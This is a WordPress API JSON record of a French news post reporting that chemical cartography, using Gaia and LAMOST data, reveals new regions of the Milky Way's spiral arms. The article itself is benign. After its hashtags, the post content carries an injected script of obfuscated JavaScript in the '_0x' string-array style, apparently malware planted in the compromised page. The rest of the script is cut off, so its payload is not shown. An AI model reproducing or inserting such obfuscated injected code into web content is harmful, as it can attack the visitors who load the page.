{"id":14246,"date":"2023-07-27T16:34:53","date_gmt":"2023-07-27T14:34:53","guid":{"rendered":"https:\/\/lapressedefrance.fr\/news\/?p=14246"},"modified":"2023-07-27T16:34:54","modified_gmt":"2023-07-27T14:34:54","slug":"decouverte-inedite-des-bras-spirales-de-la-voie-lactee-grace-a-la-cartographie-chimique","status":"publish","type":"post","link":"https:\/\/lapressedefrance.fr\/news\/decouverte-inedite-des-bras-spirales-de-la-voie-lactee-grace-a-la-cartographie-chimique\/","title":{"rendered":"D\u00e9couverte in\u00e9dite des bras spiral\u00e9s de la Voie lact\u00e9e gr\u00e2ce \u00e0 la cartographie chimique"},"content":{"rendered":"<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"D\u00e9couverte in\u00e9dite des bras spiral\u00e9s de la Voie lact\u00e9e gr\u00e2ce \u00e0 la cartographie chimique\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div>\n<p class=\"has-white-color has-vivid-cyan-blue-background-color has-text-color has-background has-medium-font-size\">Une technique novatrice appel\u00e9e &#8220;cartographie chimique&#8221; a r\u00e9v\u00e9l\u00e9 des d\u00e9tails jamais vus auparavant sur les bras spiral\u00e9s de la Voie lact\u00e9e.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1500\" height=\"840\" src=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/07\/Screen-Shot-2023-07-27-at-18.31.40-1500x840.jpg\" alt=\"\" class=\"wp-image-14247\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/07\/Screen-Shot-2023-07-27-at-18.31.40-1500x840.jpg 1500w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/07\/Screen-Shot-2023-07-27-at-18.31.40-600x336.jpg 600w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/07\/Screen-Shot-2023-07-27-at-18.31.40-200x112.jpg 200w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/07\/Screen-Shot-2023-07-27-at-18.31.40-768x430.jpg 768w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/07\/Screen-Shot-2023-07-27-at-18.31.40-1536x860.jpg 1536w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/07\/Screen-Shot-2023-07-27-at-18.31.40-110x62.jpg 110w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/07\/Screen-Shot-2023-07-27-at-18.31.40-420x235.jpg 420w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/07\/Screen-Shot-2023-07-27-at-18.31.40-248x138.jpg 248w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/07\/Screen-Shot-2023-07-27-at-18.31.40-770x430.jpg 770w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2023\/07\/Screen-Shot-2023-07-27-at-18.31.40.jpg 1974w\" sizes=\"(max-width: 1500px) 100vw, 1500px\" \/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\">La cartographie chimique montre la r\u00e9partition des \u00e9l\u00e9ments dans la Voie lact\u00e9e, des \u00e9l\u00e9ments l\u00e9gers tels que l&#8217;hydrog\u00e8ne et l&#8217;h\u00e9lium aux \u00e9l\u00e9ments plus lourds tels que le carbone, l&#8217;azote et l&#8217;oxyg\u00e8ne. Cela permet aux astronomes de localiser les \u00e9toiles en fonction de leur composition chimique plut\u00f4t que de la lumi\u00e8re qu&#8217;elles \u00e9mettent.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Cette nouvelle m\u00e9thode a permis \u00e0 l&#8217;\u00e9quipe de recherche dirig\u00e9e par Keith Hawkins, professeur adjoint \u00e0 l&#8217;Universit\u00e9 du Texas \u00e0 Austin, de rep\u00e9rer de nouvelles r\u00e9gions des bras spiral\u00e9s de notre galaxie peupl\u00e9es de jeunes \u00e9toiles denses. Ces d\u00e9couvertes pourraient \u00eatre cruciales pour la compr\u00e9hension de l&#8217;\u00e9volution, de la forme et de la structure de notre galaxie.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Les \u00e9toiles jeunes, riches en m\u00e9taux, sont concentr\u00e9es dans les bras spiral\u00e9s de la Voie lact\u00e9e. En utilisant la cartographie chimique, les chercheurs ont pu confirmer cette hypoth\u00e8se et ont r\u00e9v\u00e9l\u00e9 des r\u00e9gions auparavant invisibles.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">Cette cartographie chimique s&#8217;appuie sur les observations du t\u00e9lescope spatial Gaia et du t\u00e9lescope LAMOST. Ces avanc\u00e9es technologiques permettent aux astronomes d&#8217;\u00e9largir leur vision de l&#8217;univers et de mieux comprendre la structure de notre galaxie.<\/p>\n\n\n\n<p class=\"has-medium-font-size\">En fin de compte, ces recherches pourraient fournir des informations essentielles pour comprendre l&#8217;\u00e9volution et la formation de la Voie lact\u00e9e, et elles ouvrent la voie \u00e0 une nouvelle \u00e8re d&#8217;exploration de notre galaxie et de ses r\u00e9gions auparavant obscures. <\/p>\n\n\n\n<p>&#x1f30c;&#x1f52d; #VoieLact\u00e9e #CartographieChimique #Astronomie<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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href=\"http:\/\/www.hupso.com\/share\/\"><img src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"D\u00e9couverte in\u00e9dite des bras spiral\u00e9s de la Voie lact\u00e9e gr\u00e2ce \u00e0 la cartographie chimique\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div><p>Une technique novatrice appel\u00e9e &#8220;cartographie chimique&#8221; a r\u00e9v\u00e9l\u00e9 des d\u00e9tails jamais vus auparavant sur les bras spiral\u00e9s de la Voie lact\u00e9e. La cartographie chimique montre la r\u00e9partition des \u00e9l\u00e9ments dans la Voie lact\u00e9e, des \u00e9l\u00e9ments l\u00e9gers tels que l&#8217;hydrog\u00e8ne et l&#8217;h\u00e9lium aux \u00e9l\u00e9ments plus lourds tels que le carbone, l&#8217;azote et l&#8217;oxyg\u00e8ne. Cela permet aux [&hellip;]<\/p>\n<div class=\"pvc_clear\"><\/div>\n<p class=\"pvc_stats all \" data-element-id=\"14246\" style=\"\"><i class=\"pvc-stats-icon medium\" aria-hidden=\"true\"><svg aria-hidden=\"true\" focusable=\"false\" data-prefix=\"far\" data-icon=\"chart-bar\" role=\"img\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" viewBox=\"0 0 512 512\" class=\"svg-inline--fa fa-chart-bar fa-w-16 fa-2x\"><path fill=\"currentColor\" d=\"M396.8 352h22.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-192 0h22.4c6.4 0 12.8-6.4 12.8-12.8V140.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h22.4c6.4 0 12.8-6.4 12.8-12.8V204.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zM496 400H48V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16zm-387.2-48h22.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8z\" class=\"\"><\/path><\/svg><\/i> &nbsp;1,215&nbsp;total views, &nbsp;1&nbsp;views today<\/p>\n<div class=\"pvc_clear\"><\/div>\n<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"D\u00e9couverte in\u00e9dite des bras spiral\u00e9s de la Voie lact\u00e9e gr\u00e2ce \u00e0 la cartographie chimique\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div>","protected":false},"author":1,"featured_media":14247,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2242],"tags":[],"class_list":["post-14246","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-divers"],"_links":{"self":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/posts\/14246"}],"collection":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/comments?post=14246"}],"version-history":[{"count":0,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/posts\/14246\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/media\/14247"}],"wp:attachment":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/media?parent=14246"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/categories?post=14246"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/tags?post=14246"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}